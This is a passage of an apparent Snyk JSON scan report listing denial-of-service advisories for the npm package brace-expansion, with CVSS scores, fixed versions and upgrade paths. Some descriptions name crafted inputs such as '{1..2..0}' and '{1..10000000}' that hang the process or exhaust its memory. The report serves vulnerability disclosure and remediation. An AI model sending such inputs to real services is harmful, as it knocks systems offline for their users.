"2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub 